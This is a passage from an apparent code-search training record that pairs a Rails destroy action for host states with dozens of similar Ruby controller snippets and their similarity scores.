"def update\n respond_to do |format|\n if @surgery_state.update(surgery_state_params)\n format.html { redirect_to @surgery_state, notice: 'Surgery state was successfully updated.' }\n format.json { render :show, status: :ok, location: @surgery_state }\n else\n format.html { render :edit }\n format.json { render json: @surgery_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end",
"def update\n ## Normal update behavior\n @stash = Stash.find(params[:id])\n \n ## check to make sure we're not adding a networked stash tunnel\n unless params[:create_tunnel] == \"true\"\n Rails.logger.debug \"Regular update\"\n respond_to do |format|\n if @stash.update_attributes(params[:stash])\n format.html { redirect_to @stash, :notice => 'Stash was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stash.errors, :status => :unprocessable_entity }\n end\n end\n else\n \n ## Begin create tunnel behavior\n Rails.logger.debug \"Create tunnel behavior begin\"\n unless params[\"stash\"][\"id\"].blank?\n Rails.logger.debug \"Params check out\"\n Rails.logger.debug \"Tunnel to #{params[\"stash\"][\"id\"]}\"\n tunnel_to = (params[\"stash\"][\"id\"]).to_i\n @tunnel_to_stash = Stash.find(tunnel_to)\n @stash.network_stashes << @tunnel_to_stash\n else\n @stash.errors.add :base, \"There was no stash id provided to create a new tunnel.\"\n end\n \n respond_to do |format|\n if @stash.save\n format.html { redirect_to @stash, :notice => 'Stash was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stash.errors, :status => :unprocessable_entity }\n end\n end\n \n end ## end create tunnel behavior \n end",
"def update\n @host_tpl = HostTpl.find(params[:id])\n\n respond_to do |format|\n if @host_tpl.update_attributes(params[:host_tpl])\n format.html { redirect_to @host_tpl, notice: 'Host tpl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host_tpl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @state_sync_method = args[:state_sync_method] if args.key?(:state_sync_method)\n end",
"def update\n respond_to do |format|\n if @state_statistic.update(state_statistic_params)\n format.html { redirect_to @state_statistic, notice: 'State statistic was successfully updated.' }\n format.json { render :show, status: :ok, location: @state_statistic }\n else\n format.html { render :edit }\n format.json { render json: @state_statistic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_draft_all\n @states.set_draft_all\n\n respond_to do |format|\n format.json {\n render json: {\n 'message': t('.success'),\n 'type': 'success'\n }\n }\n end\n end",
"def update\n @poll_workflow_state = PollWorkflowState.find(params[:id])\n\n respond_to do |format|\n if @poll_workflow_state.update_attributes(params[:poll_workflow_state])\n format.html { redirect_to @poll_workflow_state, notice: 'Poll workflow state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poll_workflow_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n return unless restrict_to_admin\n\n respond_to do |format|\n if @event_host.update(event_host_params)\n format.html { redirect_to [@event, @event_host], notice: 'Event host was successfully updated.' }\n format.json { render :show, status: :ok, location: [@event, @event_host] }\n else\n format.html { render :edit }\n format.json { render json: @event_host.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n puts params\n @state = State.find(params[:targetId])\n \n data = Hash.new\n #pagination - see doc\n data[\"code\"] = params[:code] \n data[\"name\"] = params[:name] \n data[\"countryId\"] = params[:countryId] \n\t\n respond_to do |format|\n if @state.update_attributes(data)\n format.html { redirect_to(:action => \"index\") }\n else \n\t puts @state.errors\n format.html { redirect_to(:action => \"edit\", :id => (params[:targetId])) }\n end\n end\n end",
"def update_episode_states(episode)\n episode.states = control_points_to_states(objectify_json(episode.control_points), episode.timestep).to_json\n episode.save\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n end",
"def update\n @tutorial_state = Tutorial::State.find(params[:id])\n\n respond_to do |format|\n if @tutorial_state.update_attributes(params[:tutorial_state])\n format.html { redirect_to @tutorial_state, notice: 'State was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tutorial_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @counties = County.all\n @county = County.find(params[:id])\n\n @county.update_attributes(county_params)\n\n @states = State.all.order(:state_name)\n end",
"def update\n respond_to do |format|\n if @state_copd.update(state_copd_params)\n format.html { redirect_to @state_copd, notice: 'State copd was successfully updated.' }\n format.json { render :show, status: :ok, location: @state_copd }\n else\n format.html { render :edit }\n format.json { render json: @state_copd.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n @states = State.find(:all,:order=>\"short_name\")\n @genders = Gender.find(:all)\n @email_priorities = EmailPriority.find(:all)\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to(@client, :notice => 'Client was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @env_pref = EnvPref.find(params[:id])\n\n respond_to do |format|\n if @env_pref.update_attributes(params[:env_pref])\n format.html { redirect_to @env_pref, notice: 'Env pref was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @env_pref.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(data, **opts)\n @response = data\n @resource_state = data['resource_state']\n self\n end",
"def set_system_state(state)\n if (servicetype == \"storagenode\")\n execute(\"vdsclient --target storage/cluster.#{cluster}/storage/#{index} setsystemstate \\\"\" + state + \"\\\"\", :exceptiononfailure => false)\n else\n execute(\"vdsclient --target storage/cluster.#{cluster}/distributor/#{index} setsystemstate \\\"\" + state + \"\\\"\", :exceptiononfailure => false)\n end\n end",
"def update\n @civil_state = CivilState.find(params[:id])\n\n respond_to do |format|\n if @civil_state.update_attributes(params[:civil_state])\n flash[:notice] = 'CivilState was successfully updated.'\n format.html { redirect_to([:admin, @civil_state]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @civil_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def set_across_service_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @zone_status = ZoneStatus.find(params[:id])\n\n respond_to do |format|\n if @zone_status.update_attributes(params[:zone_status])\n format.html { redirect_to @zone_status, notice: 'Zone status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @zone_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @host_state = HostState.new(host_state_params)\n\n respond_to do |format|\n if @host_state.save\n format.html { redirect_to @host_state, notice: 'Host state was successfully created.' }\n format.json { render :show, status: :created, location: @host_state }\n else\n format.html { render :new }\n format.json { render json: @host_state.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6497511",
"0.64649504",
"0.6267247",
"0.60965145",
"0.6086928",
"0.6080035",
"0.5969168",
"0.5969168",
"0.5962687",
"0.5962687",
"0.5962687",
"0.59392345",
"0.593494",
"0.58545715",
"0.581591",
"0.5802865",
"0.5795398",
"0.57630813",
"0.57114613",
"0.5705047",
"0.5684276",
"0.5647882",
"0.56339735",
"0.56287974",
"0.56179076",
"0.5617426",
"0.55953777",
"0.55882454",
"0.55882454",
"0.55782044",
"0.5570013",
"0.5567823",
"0.5527782",
"0.5520204",
"0.55113196",
"0.550901",
"0.5506242",
"0.5498583",
"0.54891694",
"0.548302",
"0.5476118",
"0.5458928",
"0.545278",
"0.54406095",
"0.54400855",
"0.54293627",
"0.5417906",
"0.5416653",
"0.5406732",
"0.5399186",
"0.5399186",
"0.5395496",
"0.53921056",
"0.5385134",
"0.53786886",
"0.53772914",
"0.5373429",
"0.5368544",
"0.5347625",
"0.534755",
"0.5344194",
"0.5342522",
"0.5327898",
"0.5326916",
"0.5319176",
"0.53071505",
"0.53009164",
"0.52970016",
"0.52829975",
"0.5278958",
"0.52751094",
"0.5273975",
"0.5273379",
"0.5269221",
"0.5263047",
"0.5259828",
"0.52566105",
"0.5255976",
"0.5255367",
"0.5251929",
"0.5247094",
"0.5247094",
"0.5247094",
"0.5247094",
"0.5247094",
"0.5247094",
"0.5247094",
"0.52470666",
"0.52312684",
"0.5226996",
"0.52237445",
"0.5207288",
"0.5206455",
"0.52050555",
"0.5203208",
"0.51978457",
"0.51976526",
"0.51973826",
"0.51951325",
"0.51918495"
] |
0.7084269
|
0
|
DELETE /host_states/1 DELETE /host_states/1.json
|
def destroy
@host_state.destroy
respond_to do |format|
format.html { redirect_to host_states_url, notice: 'Host state was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_state.destroy\n\n head :no_content\n end",
"def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url, notice: 'State was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url, notice: 'State was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_states_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @modelstate.destroy\n respond_to do |format|\n format.html { redirect_to modelstates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @map_state = MapState.find(params[:id])\n @map_state.destroy\n\n respond_to do |format|\n format.html { redirect_to map_states_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @process_state.destroy\n respond_to do |format|\n format.html { redirect_to process_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state = @country.states.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(country_states_url(@country)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user_state.destroy\n respond_to do |format|\n format.html { redirect_to user_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state = State.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(states_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n format.js { render json:{message:'State has been deleted.', status: :ok}}\n end\n end",
"def destroy\n @program_state.destroy\n respond_to do |format|\n format.html { redirect_to program_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset_state = AssetState.find(params[:id])\n @asset_state.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @psa_state = PsaState.find(params[:id])\n @psa_state.destroy\n\n respond_to do |format|\n format.html { redirect_to psa_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sprint_state.destroy\n respond_to do |format|\n format.html { redirect_to sprint_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_state.destroy\n head :no_content\n end",
"def destroy\n @action_state.destroy\n respond_to do |format|\n format.html { redirect_to project, notice: 'Action state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @task_state.destroy\n respond_to do |format|\n format.html { redirect_to task_states_url, success: 'Task state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \"#{@states_assign.assigned_to}StateMachine\".constantize.states.delete(@states_assign.state.name)\n @states_assign.destroy\n\n puts '##############################'\n puts LeadStateMachine.states\n puts '##############################'\n\n respond_to do |format|\n format.html { redirect_to states_assigns_url, notice: 'State was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event_state.destroy\n respond_to do |format|\n format.html { redirect_to event_states_url, notice: 'Event state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @federal_state.destroy\n respond_to do |format|\n format.html { redirect_to federal_states_url }\n format.json { head :no_content }\n end\n end",
"def delete(query)\n @index.query(Query.new(string: query)).each do |state|\n @index.on_state_change(\n state,\n State.new(\n host: state.host,\n service: state.service,\n state: 'unknown',\n description: \"ustate has not heard from this service since #{Time.at(state.time)}\",\n time: Time.now.to_i\n )\n )\n @index.delete state\n end\n end",
"def destroy\n @expense_state = ExpenseState.find(params[:id])\n @expense_state.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tender_state = TenderState.find(params[:id])\n @tender_state.destroy\n\n respond_to do |format|\n format.html { redirect_to tender_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_state.destroy\n respond_to do |format|\n format.html { redirect_to user_states_url, notice: 'User state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goal_state = GoalState.find(params[:id])\n @goal_state.destroy\n\n respond_to do |format|\n format.html { redirect_to goal_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state.destroy\n end",
"def destroy\n @state.destroy\n end",
"def destroy\n @state_type.destroy\n respond_to do |format|\n format.html { redirect_to state_types_url, notice: 'State type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @united_state.destroy\n respond_to do |format|\n format.html { redirect_to united_states_url, notice: 'United state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @civil_state = CivilState.find(params[:id])\n @civil_state.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_civil_states_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tutorial_state = Tutorial::State.find(params[:id])\n @tutorial_state.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_states_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @estate = Estate.find(params[:id])\n @estate.destroy\n\n respond_to do |format|\n format.html { redirect_to estates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\n\tputs params[:id]\n \n state = State.find(params[:id])\n\t\n\tputs state\n\t\n state.destroy \n\t\n redirect_to(:action => \"index\") \n end",
"def delete_state(state)\n states.remove(state)\n end",
"def destroy\n @current_state.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'CurrentState was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state_statistic.destroy\n respond_to do |format|\n format.html { redirect_to state_statistics_url, notice: 'State statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def host_delete(host)\n curl = setup_curl(\"#{@foreman_url}/api/hosts/#{host}\", true)\n curl.http_delete\n end",
"def destroy\n @empire_rc_state.destroy\n respond_to do |format|\n format.html { redirect_to empire_rc_states_url, notice: 'Empire rc state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @host = Host.find(params[:id])\n @host.deleted = true\n @host.save\n\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @socket_state = SocketState.find(params[:id])\n @socket_state.destroy\n\n respond_to do |format|\n format.html { redirect_to(socket_states_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = @kanban_state.project\n\n authorize @kanban_state\n\n @project.tasks.where(kanban_state_id: @kanban_state.id).each do |task|\n task.update_attributes(kanban_state_id: nil)\n end\n @kanban_state.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_admin_project_path(@kanban_state.project_id, anchor: \"kanban_states\"), notice: t('actions.destroyed_with_success')}\n format.json { head :no_content }\n end\n end",
"def destroy\n @host = Host.find_by(hostname: params[:id])\n @host.destroy\n\n head :no_content\n end",
"def destroy\n @cultural_heritage_collection_state = CulturalHeritage::CollectionState.find(params[:id])\n @cultural_heritage_collection_state.deleted = 1\n @cultural_heritage_collection_state.save\n\n respond_to do |format|\n format.html { redirect_to(cultural_heritage_collection_states_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @stateform.destroy\n respond_to do |format|\n format.html { redirect_to stateforms_url, notice: 'stateform was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete; update(:status => 'DELETED'); end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @environment.update_attributes(:deleted_at => Time.now)\n Machine.reset_env_lists\n respond_to do |format|\n format.html { redirect_to(:back) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hand_state = HandState.find(params[:id])\n @hand_state.destroy\n\n respond_to do |format|\n format.html { redirect_to hand_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_status.destroy\n end",
"def destroy\n @machine_config.destroy\n respond_to do |format|\n format.html { redirect_to machine_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_state.destroy\n respond_to do |format|\n format.html { redirect_to property_states_url, notice: 'Property state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @host = Host.find(params[:id])\n @host.destroy\n\n head :no_content\n end",
"def delete_state(state)\n @states.reject! { |_,v| v == state }\n#$stderr.print \"States: #{@states.length} \"\n end",
"def destroy\n @state_prov.destroy\n respond_to do |format|\n format.html { redirect_to state_provs_url, notice: 'State prov was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @employee_events = EmployeeEvent.with_deleted.find(params[:id])\n if params[:type]=='normal'\n @employee_event.delete\n elsif params[:type]=='restore'\n @employee_event.restore\n @employee_event.update(deleted_at: nil)\n end\n\n @employee_event.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Host was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @state_cadre = StateCadre.find(params[:id])\n @state_cadre.destroy\n\n respond_to do |format|\n format.html { redirect_to state_cadres_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @host_address.destroy\n respond_to do |format|\n format.html { redirect_to host_addresses_url, notice: 'Host address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ticketstate.destroy\n respond_to do |format|\n format.html { redirect_to ticketstates_url, notice: '删除成功' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @host.destroy\n respond_to do |format|\n format.html { redirect_to data_source_hosts_path(@host.data_source_id), notice: 'Host was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_elasticsearch_addressbase_data\n uri = URI.parse(\"#{$ELASTIC_SEARCH_ENDPOINT}/\")\n conn = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Delete.new \"#{$ELASTICSEARCH_ADDRESSBASE}\"\n request['Content-Type'] = 'application/json'\n conn.request(request)\nend",
"def destroy\n @poll_workflow_state = PollWorkflowState.find(params[:id])\n @poll_workflow_state.destroy\n\n respond_to do |format|\n format.html { redirect_to poll_workflow_states_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @surgery_state.destroy\n respond_to do |format|\n format.html { redirect_to surgery_states_url, notice: 'Surgery state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy(state)\n hostname = state[:hostname]\n poolsclosed_delete(hostname)\n state.delete(:hostname)\n end",
"def delete(id)\n request(:delete, \"/settings/hypervisor_zones/#{id}.json\")\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @state_copd.destroy\n respond_to do |format|\n format.html { redirect_to state_copds_url, notice: 'State copd was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_stage_for_test stage_data\n cli.delete_stage stage_data\nrescue\nend",
"def destroy\n @host.destroy\n respond_to do |format|\n format.html { redirect_to hosts_url, notice: 'Host was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @receipt_state.destroy\n respond_to do |format|\n format.html { redirect_to receipt_states_url, notice: 'Receipt state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/deployed_containers/\"+params[:id].to_s+\"/destroy_deployed.json\"), (sesh :current_token))\n json_respond response.body\n\n end",
"def destroy\n compute.delete_flavor(params[:id])\n \n\n respond_to do |format|\n format.html { redirect_to flavors_path }\n format.json { head :ok }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @host_tpl = HostTpl.find(params[:id])\n @host_tpl.destroy\n\n respond_to do |format|\n format.html { redirect_to host_tpls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @machine_status = MachineStatus.find(params[:id])\n @machine_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(machine_statuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estate.destroy\n respond_to do |format|\n format.html { redirect_to estates_url, notice: 'Usunięto' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cys_env = CysEnv.find(params[:id])\n @cys_env.destroy\n\n respond_to do |format|\n format.html { redirect_to cys_envs_url }\n format.json { head :no_content }\n end\n end",
"def set_deleted_all\n @states.set_deleted_all\n\n respond_to do |format|\n format.json {\n render json: {\n 'message': t('.success'),\n 'type': 'success'\n }\n }\n end\n end",
"def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to \"/dashboard\" }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def unmanage_host(host)\n curl = setup_curl(\"#{@foreman_url}/api/hosts/#{host}\", true)\n curl.headers['Accept'] = 'application/json,version=2'\n curl.headers['Content-Type'] = 'application/json'\n host_settings = {}\n host_settings[:host] = {}\n host_settings[:managed] = false\n host_settings_json = host_settings.to_json\n curl.http_post(host_settings_json)\n result = JSON.parse(curl.body_str)\n raise result['message'] if result['message'] =~ /^ERF51/\n result\n end",
"def destroy\n @zone_status = ZoneStatus.find(params[:id])\n @zone_status.destroy\n\n respond_to do |format|\n format.html { redirect_to zone_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @host = Host.find(params[:id])\n @host.destroy\n\n respond_to do |format|\n format.html { redirect_to(hosts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @host = Host.find(params[:id])\n @host.destroy\n\n respond_to do |format|\n format.html { redirect_to(hosts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @core_machine = Core::Machine.find(params[:id])\n @core_machine.destroy\n\n respond_to do |format|\n format.html { redirect_to core_machines_url }\n format.json { head :ok }\n end\n end",
"def delete_stage(api_id, env)\r\n @client.delete_stage(rest_api_id: api_id, stage_name: env)\r\n puts 'Deleted API gateway stage ' + env\r\n rescue Aws::APIGateway::Errors::NotFoundException\r\n puts 'API Gateway stage ' + env + ' does not exist. Nothing to delete.'\r\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end"
] |
[
"0.7050063",
"0.69603527",
"0.69603527",
"0.6844968",
"0.682533",
"0.682533",
"0.6792103",
"0.67317134",
"0.6710184",
"0.6671888",
"0.6667248",
"0.6662834",
"0.6634493",
"0.6606606",
"0.65867525",
"0.6580446",
"0.6539016",
"0.65047234",
"0.64885247",
"0.64866644",
"0.6475302",
"0.64752394",
"0.64441556",
"0.6437229",
"0.6425388",
"0.6423785",
"0.6413591",
"0.6394859",
"0.636834",
"0.6354707",
"0.6354707",
"0.63531274",
"0.63279015",
"0.63259447",
"0.630679",
"0.62902814",
"0.62495685",
"0.62187654",
"0.6210189",
"0.6202082",
"0.6199151",
"0.6171436",
"0.6144512",
"0.61394686",
"0.6132412",
"0.61274046",
"0.61242086",
"0.6107736",
"0.6104161",
"0.60891765",
"0.6083312",
"0.6082115",
"0.60740364",
"0.6072012",
"0.6056339",
"0.60482913",
"0.6034679",
"0.60250425",
"0.60199",
"0.6015649",
"0.60149586",
"0.60037386",
"0.59995145",
"0.59974605",
"0.5987507",
"0.5987116",
"0.59725016",
"0.59714806",
"0.59623843",
"0.59610075",
"0.5938139",
"0.5921749",
"0.5912879",
"0.5895869",
"0.5893528",
"0.5893136",
"0.58772457",
"0.5875771",
"0.5870826",
"0.5868415",
"0.58403665",
"0.58317524",
"0.58225685",
"0.5819588",
"0.5816444",
"0.58142716",
"0.580497",
"0.5793259",
"0.57756335",
"0.5771176",
"0.5767364",
"0.5765012",
"0.5762703",
"0.5761278",
"0.5757188",
"0.5757188",
"0.5755831",
"0.5746879",
"0.5742142",
"0.5740195"
] |
0.7547102
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_host_state
@host_state = HostState.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
